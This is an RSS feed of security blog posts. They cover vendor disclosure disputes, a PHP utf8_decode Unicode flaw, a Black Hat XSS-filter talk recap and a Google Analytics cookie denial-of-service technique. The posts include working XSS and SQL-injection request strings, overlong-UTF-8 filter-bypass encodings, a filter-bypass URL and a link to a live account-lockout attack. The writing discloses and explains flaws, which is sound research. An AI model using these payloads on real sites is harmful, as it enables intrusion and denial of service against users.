<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" 
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>My Security Planet &#187; sirdarckcat</title>
	<link>http://rgaucher.info/planet/</link>
	<description>My Security Planet &#187; sirdarckcat</description>
	<generator>Gregarius 0.5.4</generator>
	<language>en</language>
	<item>
		<title>sirdarckcat: Full Disclosure, Reverse Responsible Disclosure and Bob</title>
		<link>http://feedproxy.google.com/~r/sirdarckcat/~3/-b76Z9_L4Qs/full-disclosure-reverse-responsible.html</link>
		<pubDate>Sun, 04 Jul 2010 20:10:00 -0500</pubDate>
		<guid>http://feedproxy.google.com/~r/sirdarckcat/~3/-b76Z9_L4Qs/full-disclosure-reverse-responsible.html</guid>
		<content:encoded><![CDATA[	Hey!<br />
<br />
I know I haven't posted for a long time, sorry.. I hope I still have some followers.<br />
<br />
Today was an interesting day, I started the day with yet-another-xss on some social website, and I found a vulnerability (kinda lame) on Paypal, later on the day I met my girlfriend's parents, and now it's late, so I'm writing a blogpost.. One vulnerability report was done on a 'responsible way', and the other, on what I just called 'reverse responsible disclosure'.. I like to invent buzzwords (and they are all jokes, please don't use them on real life).<br />
<br />
I do think responsible disclosure is important, mostly because giving advance notice to the vendor allows them to work on a fix, before the bad guys start exploiting it. That's what I've been using, and what I think is the right thing to do. However, this is something that, depends on the vendor as much as on the researcher.<br />
<br />
I've been working with several vendors on fixing vulnerabilities, most notably Microsoft and Google, both (in my opinion) do work hard to fix stuff, Microsoft takes considerably a lot more time to fix stuff, but they do communicate with me, letting me know what they are doing, and also share their ideas of fixes with me, in case I have any opinions (and they do take them into consideration). This dialog, or a swift and fast fix of vulnerabilities (like today's&nbsp;<a href="http://blog.insecurity.ro/youtube-html-code-injection/">youtube's XSS that was full disclosed</a>&nbsp;but apparently fixed fast enough) is what I consider a responsible response from the vendor.. I know this is not an opinion shared between all the industry, and that the loooooooong patching cycles of Microsoft are largely criticised, but in general, they are not so bad apart from that.<br />
<br />
Other vendors that work similarly are Adobe and Symantec (humm, except for <a href="http://antivirus.about.com/b/2010/06/18/ormandy-google-how-close-is-too-close.htm">this girl</a> that seems to have a job she shouldn't), and I was happy to work with them as well.<br />
<br />
Now, the bad guys..<br />
<br />
<b>SMF (simplemachines.org)</b><br />
<br />
While their developers seem to understand security vulnerabilities, their PM is probably living in the stone age.<br />
<br />
Some time ago, <a href="http://labs.elhacker.net/">elhacker.net</a>, a security community I'm member of, created a project to make a security audit of SMF 2.0 before using it. It was great, the project found around 45 vulnerabilities, half of them serious, and they were mostly fixed (not all of them, but most of them were). The change log included credits and all, so it was great, and we declared the project as a success.<br />
<br />
However, a few months later, <b>the PM of SMF asked google to close our project page</b>, because we were 'violating their license', thing that Google had to comply with. I had to remove the comments on the code, and the patches, code reviews, and repositories, so Google could re enable the project page (<a href="http://smf2-review.googlecode.com/">[smf2-review.googlecode.com]</a>).<br />
<br />
Overall, this sucks. We did the project to help them, and we did asked them BEFORE if the way we were going to work was correct, I even sent an email asking for permission to redistribute their code with patches, but since I had no response, I decided to just mirror it for code reviews, but don't modify it. They keep on saying it's their right to protect their code, and etc.. but I really do think they acted wrong by not notifying us first.. (they had our contact email, and we interchanged a LOT of emails) when we did them a favor.<br />
<br />
In the future, I don't recommend working with them, if you don't want to be stabbed on your back. I do think this response was very lame on their part.<br />
<br />
<b>OpenCart</b><br />
<br />
Some of you may know <a href="http://blog.visionsource.org/2010/01/28/opencart-csrf-vulnerability/">Daniel Kerr, the developer of Open Cart</a>, that thinks that Paypal, Google and Yahoo are always vulnerable to CSRF, and that an antivirus would stop CSRF attacks (thing that made more than one person laugh for a while). Someone already had a media circus with this guy, (he actually <a href="http://blog.visionsource.org/2010/03/29/opencart-secured-issue/">savotaged the security patches that another guy did because he refused to fix them</a>). But now I will talk about something else.<br />
<br />
A good friend, <a href="http://whk.webcomparte.com/">WHK</a>&nbsp;is a skilled developer, that does security auditories as a hobby, he is known for finding stuff in several popular CMS and he&nbsp;found a couple<a href="https://foro.elhacker.net/nivel_web/opencart_se_niega_a_arreglar_vulnerabilidades_y_sabotea_los_parches-t294544.0.html">&nbsp;of vulnerabilities in OpenCart</a>, so he documented them. Overall, there are Local File Inclusion vulnerabilities, direct remote code execution, and yet another CSRF vulnerability that allows an attacker to take complete compromise of the server. His english is not very good so he asked me to contact the developer, which I did. My email was saying that WHK and a few other users where going to make a free auditory of OpenCart, and that he will get notified before making the new vulnerabilities public.<br />
<br />
His response was:<br />
<br />
<blockquote>
  <p>
    I prefer if you mind your own business and not bother me or the opencart community. The exploit that is being discussed will be fixed in the next release. I don't need your services. Stop wasting my time.<br />
    <br />
    Stop bothering me!
  </p>
</blockquote><br />
So, we did stopped bothering him since then, and now there are a total of <b>14 vulnerabilities</b>. This vulnerabilities are now private, because we think he won't fix them if we make them public (as he hasn't fixed the first ones). And we can't make them public, because thousands of users use OpenCart and they actually manage security sensitive information. (In this case I don't think full disclosure will work).<br />
<br />
Knowing that Daniel Kerr has a bad history even with fully disclosed vulnerabilities, we are clueless on what to do. The best thing may be to urge everyone to stop using OpenCart as soon as possible.<br />
<br />
<b>Paypal</b><br />
<br />
So, paypal help center was vulnerable to a XSS for over 1 year, with a vulnerabilty that I reported to them <b>3 years ago</b>.. and was only fixed because someone posted it on xssed.org (<a href="http://xssed.org/mirror/34771/">[xssed.org]</a>). Since then, I felt it was not worth privately reporting stuff to them. But actually I didn't find any other vulnerabilities on paypal until recently.<br />
<br />
So, today I found one, that is actually not really dangerous, requires the victim to be logged in on a place they probably wont be logged in.. And since full disclosure seems to be the only way to catch their attention, I did it.. and twitted about a clickjacking attack that allows you to send money to your account from a victim with 2 clicks.<br />
<br />
<a href="https://twitter.com/sirdarckcat/status/17738238439">[https:]</a><br />
<br />
Anyway, I don't think this can be abused in real life, but I do think it should be fixed, so after posting it on twitter, I waited a few hours and then reported it to paypal with a few suggestions on how to fix it. This is what I called reverse responsible disclosure.<br />
<br />
<b>What about Bob?</b><br />
<b><br /></b><br />
Well, I did found a XSS in a popular social network! but since they behaved cool in the past, I decided to report it privately, and let them fix it.. I may make it public when its fixed, but I don't think it's interesting enough (it's on the search engine.. They made a new version and missed to check for &lt;&gt; in JS strings).<br />
<br />
So.. that's pretty much all.<br />
<br />
What I think will happen now<br />
<br />
<br />
1. The <b>SMF</b> guys will react and write me an email/comment/blogpost saying how an evil and unreasonable man I am.<br />
2. Daniel Kerr from <b>OpenCart</b> will probably start trolling about this on email/his forum, without fixing any vulnerabilities whatsoever.<br />
3. <b>Paypal</b> will fix this vulnerabilities, and say I was a bad guy.<br />
4. <b>Bob</b> will fix the bug.<br />
<br />
Soooo, that's all, I was really biting my tong on the opencart/smf responses.. And I am happy that I finally found a time to write about it.<br />
<br />
And this is not intended to be used in the famous disclosure debate, or similar, is just a&nbsp;catharsis&nbsp;after dealing with this couple of lame vendors (except for bob, bob is cool, hi bob!).<br />
<br />
Thanks for reading..<br />
<br />
PS. I just noticed AdSense is showing Paypal ads on my site.. lol, that reminded me when the caesars palace twitter account retweeted how to hack their own wireless network. <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-7427155897633263736?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/hBldKrr39xj15551jZ_bw1tQrKM/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/-b76Z9_L4Qs" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: A couple of unicode issues on PHP and Firefox</title>
		<link>http://feedproxy.google.com/~r/sirdarckcat/~3/-47-nZ9DxKo/couple-of-unicode-issues-on-php-and.html</link>
		<pubDate>Thu, 15 Oct 2009 17:30:00 -0500</pubDate>
		<guid>http://feedproxy.google.com/~r/sirdarckcat/~3/-47-nZ9DxKo/couple-of-unicode-issues-on-php-and.html</guid>
		<content:encoded><![CDATA[	Well, here I am developing ACS, finding that this project resembles at some degree the creation of a browser.. but anyway, it's close to a working beta (yay!).<br />
<br />
In any case, a couple of bugs came to my attention, some of them are public, some of them are not.<br />
<br />
First of all, I want to describe the PHP vulnerability I made public on my presentation with David Lindsay, at <a href="http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html">Blackhat USA 2009</a>, that apparently only <a href="https://twitter.com/christoweb/status/3130572209">Chris Weber</a>, <a href="http://noscript.net/changelog#1.9.6.1">Giorgio Maone (creator of NoScript)</a>, <a href="http://php-ids.org/">Mario Heiderich (creator of PHP-IDS)</a> and the <a href="http://www.acunetix.com/blog/web-security-articles/security-risks-associated-with-utf8_decode/">Acunetix security team</a> have realized the danger of it.<br />
<br />
It has been reported, well, <a href="http://bugs.php.net/bug.php?id=48230">more than enough times</a> to the PHP team (I made another attempt today, hoping this will get fixed in some time soon.. if at all). This issue affects all PHP versions Mario Heiderich and me could test, and endangers practically all PHP programs that use the <a href="http://php.net/utf8_decode">utf8_decode()</a> function for decoding (as recommended by OWASP guidelines).<br />
<br />
<blockquote>
  <p>
    The disclosure timeline follows:<br />
    * Reported by root@80sec.com: May 11 2009<br />
    * Discovered by webmaster@lapstore.de: June 19 2009<br />
    * Discovered by Giorgio Maone / Eduardo Vela: July 14 2009<br />
    * Reported and Fixed on PHPIDS: July 14 2009<br />
    * Microsoft notified of a XSS Filter bypass: July 14 2009<br />
    * Fixed XSS Filter bypass on NoScript 1.9.6:&nbsp; July 20 2009<br />
    * Vulnerability disclosed on BlackHat USA 2009: July 29 2009<br />
    * Added signature to Acunetix WVS: August 14 2009<br />
    * Re-reported by sird@rckc.at: September 27 2009<br />
    * Vendor claims it was fixed on 5.2.11: September 29 2009<br />
    * Re-re-reported by sird@rckc.at after checking 5.2.11: October 16 2009<br />
    * Published sirdarckcat.blogspot.com: October 16 2009<br />
  </p>
</blockquote><br />
You can check the bug here:<br />
<a href="http://bugs.php.net/bug.php?id=49687">[bugs.php.net]</a><br />
<br />
In reality there are several vulns in just a couple of lines, so I'll describe them here:<br />
1.- <b>Overlong UTF-8:</b><br />
<blockquote>
  <p>
    As REQUIRED by UNICODE 3.1, and noted in the Unicode Technical Report #36, UTF-8 is forbidden to interpretate a character's non-shortest form.<br />
  </p>
</blockquote>&nbsp;&nbsp;&nbsp; <a href="http://www.unicode.org/reports/tr36/#UTF-8_Exploit">[www.unicode.org]</a><br />
<br />
<b>VULN: <i>PHP makes no checks whatsoever on this matter.</i></b><br />
<br />
<b>Why is this a vulnerability?</b><br />
<br />
A filter (such as addslashes, htmlentities, escapeshellarg, etc.) will NOT be able to detect&amp;escape such byte sequences, and so an application that relies on them for security checks wont be protected at all. Because it allows an attacker to encode "dangerous" chars, such as ', ", &lt;, ;, &amp;, in different ways:<br />
<br />
' = %27 = %c0%a7 = %e0%80%a7 = %f0%80%80%a7<br />
" = %22 = %c0%a2 = %e0%80%a2 = %f0%80%80%a2<br />
&lt; = %3c = %c0%bc = %e0%80%bc = %f0%80%80%bc<br />
; = %3b = %c0%bb = %e0%80%bb = %f0%80%80%bb<br />
&amp; = %26 = %c0%a6 = %e0%80%a6 = %f0%80%80%a6<br />
= % 00 = %c0%80 = %e0%80%80 = %f0%80%80%80<br />
<br />
<a href="http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php#JiA9IDxAb3ZlcmxvbmdfdXRmOF8wKDEpPiY8QC9vdmVybG9uZ191dGY4XzA%2BID0gPEBvdmVybG9uZ191dGY4XzEoMik%2BJjxAL292ZXJsb25nX3V0ZjhfMT4gPSA8QG92ZXJsb25nX3V0ZjhfMigzKT4mPEAvb3ZlcmxvbmdfdXRmOF8yPiA9IDxAb3ZlcmxvbmdfdXRmOF8zKDQpPiY8QC9vdmVybG9uZ191dGY4XzM%2B">Use hackvertor to generate them.</a><br />
<br />
<br />
Enabling attacks on systems that use addslashes for example (but almost all encoding functions would be vulnerable):<br />
<br />
<blockquote>
  <p>
    // add slashes!<br />
    foreach($_GET as $k=&gt;$v)$_GET[$k]=<b>addslashes</b>("$v");<br />
    <br />
    //&nbsp; .... some code ...<br />
    <br />
    // $name is encoded in utf8<br />
    $name=<b>utf8_decode</b>($_GET['name']);<br />
    mysql_query("SELECT * FROM table WHERE name='$name';");<br />
    <br />
    ?&gt;<br />
  </p>
</blockquote><br />
<br />
2.- <b>Ill formed sequences</b>:<br />
As REQUIRED by UNICODE 3.0, and noted in the Unicode Technical Report #36, if a leading byte is followed by an invalid successor byte, then it should NOT consume it.<br />
&nbsp;&nbsp;&nbsp; <a href="http://www.unicode.org/reports/tr36/#Ill-Formed_Subsequences">[www.unicode.org]</a><br />
<br />
<b>VULN: <i>PHP will consume invalid bytes.</i></b><br />
<br />
<b>Why is this a vulnerability?</b><br />
<br />
It will allow an attacker to "eat" controll chars. For example:<br />
<br />
<blockquote>
  <p>
    // htmlentities<br />
    foreach($_GET as $k=&gt;$v)$_GET[$k]=<b>htmlentities</b>("$v",ENT_QUOTES);<br />
    <br />
    //&nbsp; ... some code ...<br />
    <br />
    $name=$_GET['name'];<br />
    $url=$_GET['url'];<br />
    <br />
    //&nbsp; ... some code ...<br />
    <br />
    $profileImage="&lt;img alt="Photo of $name" src="http://$url" /&gt;";<br />
    <br />
    // ... some code ...<br />
    echo <b>utf8_decode</b>($profileImage);<br />
    ?&gt;<br />
  </p>
</blockquote><br />
A request such as:<br />
<br />
?name=%90&amp;src=%20onerror=alert(1)%20<br />
<br />
Will execute the code "alert(1)" when the page loads.<br />
<br />
Note that htmlpurifier does a utf8_decode function call at the end of the decoding, BUT they are safe because of a pre-encoding made by htmlpurifier.. other codes that do the same wont be so lucky.<br />
<br />
Bogdan Calin from Acunetix WVS described a couple of other potential attack scenarios:<br />
<br />
<br />
<br />
<br />
<blockquote>
  <p>
    <a href="http://www.acunetix.com/blog/wp-content/uploads/2009/08/xss_utf8_decode.PNG"><img alt="" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/xss_utf8_decode.PNG" /></a><br />
  </p>
</blockquote><br />
<br />
Where an attacker could fool the filter by doing a request like:<br />
vuln.php?input=<b>%F6%3Cimg+onmouseover=prompt(/xss/)//%F6%3E</b><br />
<br />
And:<br />
<blockquote>
  <p>
    <a href="http://www.acunetix.com/blog/wp-content/uploads/2009/08/sql_injection_addslashes_utf8_decode.PNG"><img alt="" src="http://www.acunetix.com/blog/wp-content/uploads/2009/08/sql_injection_addslashes_utf8_decode.PNG" /></a><br />
  </p>
</blockquote><br />
<blockquote>
  <p>
    <br />
  </p>
</blockquote>Where an attacker could fool the filter by doing a request like:<br />
index.php?username=<b>test%FC%27%27+or+1=1+–+</b>&amp;password=a<br />
<br />
3.- <b>Integer overflow:</b><br />
Unsigned short has a size of 16 bits (2 bytes), that is UNCAPABLE of storing unicode characters of 21 bits, and represented on UTF with 4 bytes (1111 0xxx 10xx xxxx 10xx xxxx 10xx xxxx). PHP attempts to sum a 21 bits value to a 16 bits-size variable, and then makes no checks on the value.<br />
<br />
The affected code follows:<br />
<br />
<blockquote>
  <p>
    //&nbsp; php/ext/xml/xml.c#558<br />
    PHPAPI char *xml_utf8_decode(&nbsp;&nbsp;&nbsp; //&nbsp; ...<br />
    {<br />
    &nbsp;&nbsp;&nbsp; int pos = len;<br />
    &nbsp;&nbsp;&nbsp; char *newbuf = emallo&nbsp;&nbsp;&nbsp; //&nbsp; ...<br />
    &nbsp;&nbsp;&nbsp; unsigned short c;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; // <b>sizeof(unsigned short)==16</b> bits<br />
    &nbsp;&nbsp;&nbsp; char (*decoder)(unsig&nbsp;&nbsp;&nbsp; //&nbsp; ...<br />
    &nbsp;&nbsp;&nbsp; xml_encoding *enc = x&nbsp;&nbsp;&nbsp; //&nbsp; ...<br />
    //&nbsp; ...<br />
    //&nbsp; #580<br />
    &nbsp;&nbsp;&nbsp; c = (unsigned char)(*s);<br />
    &nbsp;&nbsp;&nbsp; if (c &gt;= 0xf0) {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; /* <b>four bytes encoded, 21</b> bits */<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; if(pos-4 &gt;= 0) {<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c = (<b>(s[0]&amp;7)&lt;&lt;18) | ((s[1]&amp;63)&lt;&lt;12)</b> | ((s[2]&amp;63)&lt;&lt;6) | (s[3]&amp;63);<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; } else {<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; c = '?';&nbsp;&nbsp;&nbsp;<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; }<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; s += 4;<br />
    &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; pos -= 4;<br />
    //&nbsp; ...<br />
  </p>
</blockquote><br />
The relevant part of the code is of course, the declaration of c as an unsigned int, the comment specifing that the char is 21 bits, and this:<br />
<blockquote>
  <p>
    x= ((s[0]&amp;7)&lt;&lt;18) | ...<br />
  </p>
</blockquote><br />
s[0]&amp;7&lt;&lt;18 means it will move 3 bits, 18 bits to the right. As we noted before.. c's size is only 16 bits.<br />
<blockquote>
  <p>
    (xxxx xxxx &amp; 0000 0111) &lt;&lt; 18<br />
  </p>
</blockquote><br />
Also, this part:<br />
<blockquote>
  <p>
    ...&nbsp; ((s[1]&amp;63)&lt;&lt;12) | ...<br />
  </p>
</blockquote><br />
s[1]&amp;63&lt;&lt;12 means it will move 6 bits, 12 bits to the right. So, 2 bits are going to be lost.<br />
<blockquote>
  <p>
    (xxxx xxxx &amp; 0011 1111) &lt;&lt; 12<br />
  </p>
</blockquote><br />
This allows us to make something even more interesting.<br />
<br />
Code like this:<br />
<br />
<b>%FF%F0%40%FC</b> that is invalid unicode, overlong, and all you want (definatelly NOT valid), will be casted as a "lower than" simbol (&lt;).<br />
<br />
<a href="http://eaea.sirdarckcat.net/xss.php?unicode&amp;html_xss=%FF%F0%40%FC">[eaea.sirdarckcat.net]</a><br />
<br />
This besides the already mentioned problems, and the possibility of bypassing quite a lot of WAFs and Filters.. demonstrate the problem of a bad unicode implementation on PHP.<br />
<br />
I hope the PHP development team acknowledges all this issues that have been reported before, and were explained some months ago on Blackhat USA (and the developers were noticed to check the ppt more than once), and now are explained yet another time.<br />
<br />
<b>This was fixed on 5.2.11 :) on my birthday!! Sept 17</b><br />
<br />
Anyway.. that's not all, now to finish this post I want to publish a overlong utf-8 exception on Firefox (actually, Mozilla's).<br />
<br />
The firefox one<br />
Firefox is supposed to consider the non-shortest form exception (point #1 in the PHP vulnerabilities), and section 3.1 of the Unicode Technical Report #36 but apparently there's a flaw on it. This is specially problematic for the reasons that an overlong unicode sequence not taken into consideration may allow several types of filter bypasses.<br />
<br />
Anyway, the severity of this vulnerability is not as high as the PHP ones, but is worth mentioning. The following non-shortest form for the char U+1000:<br />
<blockquote>
  <p>
    0xF0 0x81 0x80 0x80
  </p>
</blockquote><br />
is allowed, as well as the correct shortest form:<br />
<blockquote>
  <p>
    0xE1 0x80 0x80
  </p>
</blockquote><br />
Note that this problem is only present on the 4 bytes representation.<br />
<br />
You can track this bug at:<br />
<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=522634">[https:]</a><br />
<br />
Anyway, that's all! Thanks for your time :)<br />
<br />
Greetings!! <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-6447658206566334811?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/JhOKQ4Zs4QGPhNi4miDhnxuuvj4/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/-47-nZ9DxKo" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: Our Favorite XSS Filters and how to Attack them</title>
		<link>http://feedproxy.google.com/~r/sirdarckcat/~3/bn_GsTDDmtc/our-favorite-xss-filters-and-how-to.html</link>
		<pubDate>Mon, 03 Aug 2009 22:30:00 -0500</pubDate>
		<guid>http://feedproxy.google.com/~r/sirdarckcat/~3/bn_GsTDDmtc/our-favorite-xss-filters-and-how-to.html</guid>
		<content:encoded><![CDATA[	So well, Black Hat 2009 and DEFCON 17 are over now, and on Black Hat I presented twice, so I want to<br />
do a quick recap.<br />
<br />
If you asisted to them, I would appreciate any feedback, since the blackhat's feedback system about<br />
the passport stuff is like.. not-public, so its completely useless for me.<br />
<br />
So, if anyone want's to give feedback, you can use the comments or send me an email at sird@rckc.at<br />
<br />
David Lindsay also made a nice write up about the presentation in here:<br />
<a href="http://p42.us/?p=42">[p42.us]</a><br />
<br />
You can get our slides from here:<br />
<a href="http://p42.us/favxss/">[p42.us]</a><br />
<br />
I don't know if the CNN and Java.net bugs have been fixed, but they did worked at the stage (we made<br />
a live-demo on how to bypass the IE8 xss filter), and well there's an errata on the NoScript section.<br />
<br />
There was a fix I didnt tested regarding the same origin exception, so now instead of using:<br />
http://www.google.com/imgres?imgurl=http://tinyurl.com/ZWZ8Z4&amp;imgrefurl=http://tinyurl.com/ZWZ8Z4<br />
Use:<br />
<a href="http://www.google.com/imgres?imgurl=http://pwn&amp;imgrefurl=/search?q=ZWZ8Z4%26btnI=l%23asciifullNameRowId">[www.google.com]</a><br />
<br />
Since we dont really need TinyURL, it was just an extra, but well, it makes sense for it to get fixed.<br />
<br />
<i>And also, the DoS &amp; pwn for NoScript well, apparently because of something related to ABE, now noscript will absolutely kill your browser.</i>&nbsp; Upgrade to latest NoScript to be protected against the PoC of the presentation.<br />
<br />
So, in the talk, david presented about the not-so-filtered html/js tricks we use, the unicode part was a<br />
quick (very quick) recap since Chris Weber was going to have a cool presentation about Unicode the next<br />
day (and it was awesome!!!) but anyway, regarding the unicode section, I made a quick demo on a vuln on<br />
PHP's 4, 5 and 6 utf8_decode function that allows an attacker to do cool filter bypasses.<br />
<br />
The PHP-IDS section, I'm not sure if Mario has fixed it, but my bypass was fixed.<br />
<br />
Besides that, if you are going to use PHP-IDS, you can be sure that thornmaker and all the slackers crew<br />
is gonna be there to break it and report it waay before a real-life attacker can bypass it, just remember<br />
to keep it updated.<br />
<br />
So, the talk was cool, I actually thought I wasn't going to finish on time so I was talking very fast, and<br />
in a matter of fact I actually talked so fast that I actually finished 10 minutes before time.<br />
<br />
So well, after that, I spoke with a couple of people about the presentation, and I got quite a lot of biz<br />
cards (I didn't realized untill I got to the hotel and emptied my pockets.. I actually can't rememer to who<br />
all those cards belong to), so if I told you I was going to get back to you later, you should probably send<br />
me an email (sird@rckc.at) since I probably wont recognize your name in your card (my memory sucks!).<br />
<br />
So well, the second day I had another talk, that was a solution Im working on, that sort of competes with<br />
Mozilla CSP (could help as a transition to CSP) called ACS -&nbsp; Active Content Signatures, that will implement<br />
security measures for protecting against XSS on the client-side without the need of an addon on your browser.<br />
<br />
I plan to implement some of NoScript features, as well as IE8 XSS Filter, and CSP, so I'll try just to get<br />
the best of the best stuff in there. Inlcuding a JS sandbox that is being made by Gareth Hayes and that sort<br />
of combines the best of Google Caja and Facebook JS sandbox but all in the client side, so you dont need to<br />
do ANYTHING at all in the server :).<br />
<br />
The second talk was an epic fail, I lost my document (it was on the Downloads folder, duh!) so there was<br />
like a 5 to 10 minutes gap of me setting up my computer and not-finding the doc..<br />
<br />
Thankfully it was a breakout session so it wasn't taped haha, anyway, my audience was small but very<br />
speciallized, the Mozilla security squid and Mozilla securinator were there, as well as david ross, the<br />
author of the super-IE8 XSS filter, a couple of friends and some other people.. The q&amp;a at the end was<br />
very cool :).<br />
<br />
I haven't published the details of the .doc of ACS since well, it is still in an early stage but if you<br />
are interested I will send you a draft. I am planing to present it during this month, and I will let you<br />
all guys know in this blog, together with a nice demo.<br />
<br />
The HTML Parser of ACS together with the JavaScript sandbox (JSReg) of Gareth can be tried at:<br />
&nbsp;&nbsp;&nbsp; <a href="http://eaea.sirdarckcat.net/testhtml.html">[eaea.sirdarckcat.net]</a><br />
<br />
If you can hack it, please do it (and let me now =D). There's a sla.ckers.org thread about it here:<br />
&nbsp;&nbsp;&nbsp; <a href="http://sla.ckers.org/forum/read.php?2,29259">[sla.ckers.org]</a><br />
<br />
Also, I want to state that I want to do:<br />
&nbsp;&nbsp;&nbsp; ./pressure.pl -h tra.ckers.org -p /rsnake -p /id<br />
<br />
So well, blackhat was a lot of fun, and actually I wasn't planning to stay for defcon, but with a fast<br />
flight change and a lot of luck, I was able to stay more time, and go to defcon.<br />
<br />
I want to say that DEFCON is waaaaaaaaaaay too fun, I didn't know it was so cool! BlackHat is like for<br />
CSOs, CTOs, etc.. so vendors were like giving away gifts to everyone so they will buy their stuff, and<br />
well, the talks were more interesting, but anyway, defcon rocks.<br />
<br />
The 2wire talk that my friend <a href="http://www.hakim.ws/">hakim</a> gave was very cool, we went to war driving in a limousine the night<br />
before, that was fun as hell haha.<br />
<br />
It was nice to meet all those slackers in blackhat/defcon, I'm sorry for all those casinos in the strip<br />
that got their wifi-paying system completely bypassed by a very skilled slacker (whose identity prefers to<br />
be kept private), but the hotels include bellagio, mirage, paris, caesars palace, circus circus, riviera<br />
and well probably every hotel in the world that uses COX for providing the service (maybe also Lodgenet).<br />
<br />
Ah btw, regarding the last post of Google Analytics, I want to show something I think is very cool. To make<br />
impossible to a user to logout and/or login to any google service (gmail/google reader/google analytics/<br />
adsense/adwords/etc..).<br />
<br />
<a href="http://google.sirdarckcat.net/?v=https://www.google.com/accounts">[google.sirdarckcat.net]</a><br />
<br />
If you readed all this post and you are not following me on twitter, then well, there it is!<br />
<br />
When your victim gets a "bad request" that means, "you win". Google knows about this since like 4 or 5 months<br />
ago.. and it's still unfixed. If one day you can't access your google account, or can't logout, try deleting<br />
all your cookies.. And either use noscript and mark googleanalitycs.com as untrusted, or point in your hosts<br />
fike googleanalitycs.com to 0.0.0.0 (and if you are a system admin that is not using google analytics you<br />
should probably also do the same, since all websites in the world that use google analytics are vulnerable<br />
to this attack, and you are protecting your user's security AND privacy by doing so..).<br />
<br />
Greetz!!<br />
<br />
PS. I made this post on notepad so its probably weird on blogspot. <a href="http://sirdarckcat.net/">sirdarckcat</a><img src='https://blogger.googleusercontent.com/tracker/7482149-3239121748994887563?l=sirdarckcat.blogspot.com' alt='' />
<p>
  <a href="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/0/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/0/di" /></a><br />
  <a href="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/1/da"><img alt="" src="http://feedads.g.doubleclick.net/~a/3WBQboQQN_zfqmW3rlXGs_o75UU/1/di" /></a>
</p><img alt="" src="http://feeds.feedburner.com/~r/sirdarckcat/~4/bn_GsTDDmtc" /> ]]></content:encoded>
</item>
<item>
		<title>sirdarckcat: How to use Google Analytics to DoS a client from some website.</title>
		<link>http://feedproxy.google.com/~r/sirdarckcat/~3/ksKYsxiK4lg/how-to-use-google-analytics-to-dos.html</link>
		<pubDate>Fri, 17 Apr 2009 21:33:00 -0500</pubDate>
		<guid>http://feedproxy.google.com/~r/sirdarckcat/~3/ksKYsxiK4lg/how-to-use-google-analytics-to-dos.html</guid>
		<content:encoded><![CDATA[	So, right.. I was trying to read some stuff about problems sharing my wired connection of my linux laptop to another windows laptop via wireless, but one of the links was on mail-archive.com, and for some reason it's blocked on China (yeah, I'm living on China now =D). So, I decided to go to a friend's website to read the webpage, but... suddenly, there was an error..<br />
<blockquote>
  <p>
    <br />
    Bad Request<br />
    Your browser sent a request that this server could not understand.<br />
    <br />
    Size of a request header field exceeds server limit.<br />
    <br />
    Cookie:
  </p>
</blockquote><br />
<br />
The reason of the error is unknown, but that's not important, what is important is that I realized that with a big enough cookie (8190 bytes aprox) we can DoS someone from entering a webpage. (With a 400 HTTP Response status code on Apache, a 413 on some google services, and on some websites an infinite loop because the big cookies delete session cookies).<br />
<br />
The reason we would like to block from accessing a server is not really important, what is important is that being able to block them out is dangerous.<br />
<br />
Anyway.. we need to set cookies, and this is good enough for a lot of attacks (like no-ip domains, shared subdomains like blogspot , browsers that allow top level domain cookies, second level domains like .co.uk , etc..), but I really wanted to do something more cool.. so I started thinking, how to set cookies on clients.<br />
<br />
And the "how", as the reader may deduce from the title of this blogspot is using Google Analytics. I've been researching Google Analytics cookies for some time now, so I sort-of know how they work. And I know pretty good that the google's implementation allows an attacker to add anything in some cookies.<br />
<br />
